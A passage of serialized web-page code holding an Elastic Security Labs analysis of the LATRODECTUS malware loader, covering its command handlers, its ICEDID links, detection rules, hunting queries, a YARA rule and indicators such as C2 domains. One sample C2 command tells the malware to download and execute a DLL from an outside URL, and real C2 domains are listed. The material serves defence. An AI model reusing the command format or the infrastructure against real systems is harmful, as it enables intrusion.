execution\",width:\"989\",height:\"220\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Scanning the \",(0,n.jsx)(e.code,{children:\"rundll32.exe\"}),\" child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image41.png\",alt:\"YARA memory scan detecting ICEDID\",width:\"618\",height:\"198\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"beacon-timeout---command-id-19\",children:\"Beacon timeout - command ID (19)\"}),`\n`,(0,n.jsx)(e.p,{children:\"LATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image45.png\",alt:\"Adjust timeout feature (Handler #19)\",width:\"772\",height:\"247\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In order to calculate the timeout, it generates a random number by seeding a combination of the user\\u2019s cursor position on the screen multiplied by the system\\u2019s uptime (\",(0,n.jsx)(e.code,{children:\"GetTickCount\"}),\"). This result is passed as a parameter to \",(0,n.jsx)(e.strong,{children:\"RtlRandomEx\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image22.png\",alt:\"Random number generator using cursor position\",width:\"594\",height:\"248\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"reset-counter---command-id-20\",children:\"Reset counter - command ID (20)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`counter=3\u0026type=4\u0026guid=638507385\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"latrodectus--icedid-connection\",children:\"LATRODECTUS / ICEDID connection\"}),`\n`,(0,n.jsx)(e.p,{children:\"There definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Same enumeration commands in the system discovery handler\"}),`\n`,(0,n.jsx)(e.li,{children:\"The DLL exports all point to same export function address, this was a common observation with ICEDID payloads\"}),`\n`,(0,n.jsx)(e.li,{children:\"C2 data is concatenated together as variables in the C2 traffic requests\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"The \",(0,n.jsx)(e.code,{children:\"bp.dat\"}),\" file downloaded from handler (#18) is used to execute the ICEDID payload via \",(0,n.jsx)(e.code,{children:\"rundll32.exe\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"The functions appear to be similarly coded\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image13.png\",alt:\"COM-based Scheduled Task setup - ICEDID vs LATRODECTUS\",width:\"1440\",height:\"533\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Researchers didn\\u2019t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the \",(0,n.jsx)(e.a,{href:\"https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol\",rel:\"nofollow\",children:\"BackConnect\"}),\" module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS\\u2019 capabilities.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"sandboxing-latrodectus\",children:\"Sandboxing LATRODECTUS\"}),`\n`,(0,n.jsx)(e.p,{children:\"To evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image42.png\",alt:\"Command handlers sandboxed\",width:\"1227\",height:\"389\"})}),`\n`,(0,n.jsx)(e.p,{children:\"As an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`COMMAND|13|http://www.meow123.com/dll, ShowMessage\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Using the following CyberChef recipe, analysts can generate encrypted command requests:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image1.png\",alt:\"Example with DLL Execution handler via CyberChef\",width:\"1208\",height:\"335\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Using the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"detecting-latrodectus\",children:\"Detecting LATRODECTUS\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following Elastic Defend protection features trigger during the LATRODECTUS malware infection process:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image5.png\",alt:\"Elastic Defend alerts against LATRODECTUS\",width:\"1440\",height:\"653\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below are the prebuilt MITRE ATT\u0026CK-aligned rules with descriptions:\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"ATT\u0026CK technique\"}),(0,n.jsx)(e.th,{children:\"Elastic Rule\"}),(0,n.jsx)(e.th,{children:\"Description\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsxs)(e.td,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_oversized_windows_script_execution.toml\",rel:\"nofollow\",children:\"T1059.007 - Javascript\"}),\" \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/\",rel:\"nofollow\",children:\"T1027 - Obfuscated Files or Information\"})]}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_oversized_windows_script_execution.toml\",rel:\"nofollow\",children:\"Suspicious Oversized Script Execution\"})}),(0,n.jsx)(e.td,{children:\"LATRODECTUS is delivered via oversized Javascript files, on average more than 800KB filled with random text.\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1047/\",rel:\"nofollow\",children:\"T1047 - Windows Management Instrumentation\"})}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/initial_access_execution_via_a_suspicious_wmi_client.toml\",rel:\"nofollow\",children:\"Execution via a Suspicious WMI Client\"})}),(0,n.jsx)(e.td,{children:\"Javascript dropper invokes WMI to mount a WEBDAV share and invokes msiexec to install a remote msi file.\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/007/\",rel:\"nofollow\",children:\"T1218.007 - Misexec\"})}),(0,n.jsxs)(e.td,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_remote_file_execution_via_msiexec.toml\",rel:\"nofollow\",children:\"Remote File Execution via MSIEXEC\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_suspicious_msiexec_child_process.toml\",rel:\"nofollow\",children:\"Suspicious MsiExec Child Process\"})]}),(0,n.jsx)(e.td,{children:\"MSI file hosted on remote Webdav and executed in quiet mode. Once executed it drops a DLL and launches rundll32 to load it via the Advanced installer viewer.exe binary.\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/011/\",rel:\"nofollow\",children:\"T1218.011 - Rundll32\"})}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml\",rel:\"nofollow\",children:\"Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory\"})}),(0,n.jsx)(e.td,{children:\"Rundll32 loads the LATRODECTUS DLL from AppData and starts code injection.\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"T1055 - Process Injection\"})}),(0,n.jsxs)(e.td,{children:[(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection\",rel:\"nofollow\",children:\"Memory Threat Detection Alert: Shellcode Injection\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml\",rel:\"nofollow\",children:\"VirtualProtect API Call from an Unsigned DLL\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml\",rel:\"nofollow\",children:\"Shellcode Execution from Low Reputation Module\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml\",rel:\"nofollow\",children:\"Network Module Loaded from Suspicious Unbacked Memory\"})]}),(0,n.jsx)(e.td,{children:\"Shellcode execution triggers 3 endpoint behavior alerts and a memory threat detection alert.\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1053/005/\",rel:\"nofollow\",children:\"T1053.005 - Scheduled Task\"})}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml\",rel:\"nofollow\",children:\"Scheduled Task Creation by an Unusual Process\"})}),(0,n.jsx)(e.td,{children:\"LATRODECTUS may persist using scheduled tasks (rundll32 will create a scheduled task).\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1070/004/\",rel:\"nofollow\",children:\"T1070.004 - File Deletion\"})}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_potential_self_deletion_of_a_running_executable.toml\",rel:\"nofollow\",children:\"Potential Self Deletion of a Running Executable\"})}),(0,n.jsxs)(e.td,{children:[\"Part of the malware DLL self update command and also when the DLL is not running from AppData, LATRODECTUS will delete itself while running and restart from the new path or running an updated version of itself leveraging \",(0,n.jsx)(e.a,{href:\"https://github.com/LloydLabs/delete-self-poc\",rel:\"nofollow\",children:\"this technique\"}),\".\"]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/003/\",rel:\"nofollow\",children:\"T1059.003 - Windows Command Shell\"})}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_command_shell_activity_started_via_rundll32.toml\",rel:\"nofollow\",children:\"Command Shell Activity Started via RunDLL32\"})}),(0,n.jsx)(e.td,{children:\"LATRODECTUS Command ID (4) - Collect system information via a series of cmd.exe execution.\"})]})]})]})}),`\n`,(0,n.jsx)(e.p,{children:\"The following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Rundll32 Download PE/DLL\"}),\" (command handlers #12, #13 and #18):\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-sql\",children:`sequence by process.entity_id with maxspan=1s\n[file where event.action == \"creation\" and process.name : \"rundll32.exe\" and \n /* PE file header dropped to the InetCache folder */\nfile.Ext.header_bytes : \"4d5a*\" and file.path : \"?:\\\\\\\\Users\\\\\\\\*\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\INetCache\\\\\\\\IE\\\\\\\\*\"]\n[network where process.name : \"rundll32.exe\" and \n event.action : (\"disconnect_received\", \"connection_attempted\") and \n /* network disconnect activity to a public Ip address */\n not cidrmatch(destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\", \"FE80::/10\", \"FF00::/8\", \"192.168.0.0/16\")]\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image8.png\",alt:\"EQL Query using hunt detecting LATRODECTUS\",width:\"1440\",height:\"720\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon):\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-sql\",children:`from logs-endpoint.events.network-*\n| where host.os.family == \"windows\" and event.category == \"network\" and\n network.direction == \"egress\" and process.name == \"rundll32.exe\" and\n/* excluding private IP ranges */\n not CIDR_MATCH(destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\",\"FE80::/10\", \"FF00::/8\")\n| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name\n/* calc total duration and the number of connections per hour */\n| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name\n| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)\n| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections\n| where count_connections \u003e= 100\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image3.png\",alt:\"ES|QL Query using hunt detecting LATRODECTUS\",width:\"1440\",height:\"612\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Below is a screenshot of Elastic Defend triggering on the LATRODECTUS \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar\",rel:\"nofollow\",children:\"memory signature\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image23.png\",alt:\"Memory signatures against LATRODECTUS via Elastic Defend\",width:\"1440\",height:\"495\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security has created YARA rules to identify \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar\",rel:\"nofollow\",children:\"LATRODECTUS\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Windows_Trojan_LATRODECTUS_841ff697 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-03-13\"\n last_modified = \"2024-04-05\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.LATRODECTUS\"\n reference_sample = \"aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c\"\n\n\n strings:\n $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }\n $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }\n $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }\n $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }\n $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }\n $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }\n $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }\n $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }\n condition:\n 2 of them\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Observable\"}),(0,n.jsx)(e.th,{children:\"Type\"}),(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"Reference\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"TRUFOS.DLL\"}),(0,n.jsx)(e.td,{children:\"LATRODECTUS\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"aytobusesre.com\"}),(0,n.jsx)(e.td,{children:\"domain\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"LATRODECTUS C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"scifimond.com\"}),(0,n.jsx)(e.td,{children:\"domain\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"LATRODECTUS C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"gyxplonto.com\"}),(0,n.jsx)(e.td,{children:\"domain\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"ICEDID C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"neaachar.com\"}),(0,n.jsx)(e.td,{children:\"domain\"}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"ICEDID C2\"})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39\",rel:\"nofollow\",children:\"https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice\",rel:\"nofollow\",children:\"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"tooling\",children:\"Tooling\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/blob/main/tools/latrodectus/latro_str_decrypt.py\",rel:\"nofollow\",children:\"String decryption and IDA commenting tool\"})})]})}function C(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(c,i)})):c(i)}var T=C;return y(v);})();\n;return Component;"},"_id":"articles/spring-cleaning-with-latrodectus.mdx","_raw":{"sourceFilePath":"articles/spring-cleaning-with-latrodectus.mdx","sourceFileName":"spring-cleaning-with-latrodectus.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/spring-cleaning-with-latrodectus"},"type":"Article","imageUrl":"/assets/images/spring-cleaning-with-latrodectus/Security Labs Images 16.jpg","readingTime":"24 min read","series":"","url":"/spring-cleaning-with-latrodectus","headings":[{"level":2,"title":"LATRODECTUS at a glance","href":"#latrodectus-at-a-glance"},{"level":3,"title":"Key takeaways","href":"#key-takeaways"},{"level":3,"title":"LATRODECTUS campaign overview","href":"#latrodectus-campaign-overview"},{"level":2,"title":"LATRODECTUS analysis","href":"#latrodectus-analysis"},{"level":3,"title":"String obfuscation ","href":"#string-obfuscation-"},{"level":3,"title":"Runtime API","href":"#runtime-api"},{"level":3,"title":"Anti-analysis","href":"#anti-analysis"},{"level":3,"title":"Mutex","href":"#mutex"},{"level":3,"title":"Hardware ID","href":"#hardware-id"},{"level":3,"title":"Campaign ID","href":"#campaign-id"},{"level":3,"title":"Setup / persistence","href":"#setup--persistence"},{"level":3,"title":"Self-deletion","href":"#self-deletion"},{"level":3,"title":"Communication","href":"#communication"},{"level":3,"title":"Bot Functionality","href":"#bot-functionality"},{"level":4,"title":"Desktop listing - command ID (2)","href":"#desktop-listing---command-id-2"},{"level":4,"title":"Process ancestry - command ID (3)","href":"#process-ancestry---command-id-3"},{"level":4,"title":"Collect system information - command ID (4)","href":"#collect-system-information---command-id-4"},{"level":4,"title":"Download and execute PE - command ID (12)","href":"#download-and-execute-pe---command-id-12"},{"level":4,"title":"Download and execute DLL - command ID (13)","href":"#download-and-execute-dll---command-id-13"},{"level":4,"title":"Download and execute shellcode - command (14)","href":"#download-and-execute-shellcode---command-14"},{"level":4,"title":"Update / restart - command ID (15)","href":"#update--restart----command-id-15"},{"level":4,"title":"Terminate - command ID (17)","href":"#terminate---command-id-17"},{"level":4,"title":"Download and execute hosted ICEID payload - command ID (18)","href":"#download-and-execute-hosted-iceid-payload---command-id-18"},{"level":4,"title":"Beacon timeout - command ID (19)","href":"#beacon-timeout---command-id-19"},{"level":4,"title":"Reset counter - command ID (20)","href":"#reset-counter---command-id-20"},{"level":3,"title":"LATRODECTUS / ICEDID connection","href":"#latrodectus--icedid-connection"},{"level":3,"title":"Sandboxing LATRODECTUS","href":"#sandboxing-latrodectus"},{"level":2,"title":"Detecting LATRODECTUS","href":"#detecting-latrodectus"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Tooling","href":"#tooling"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var 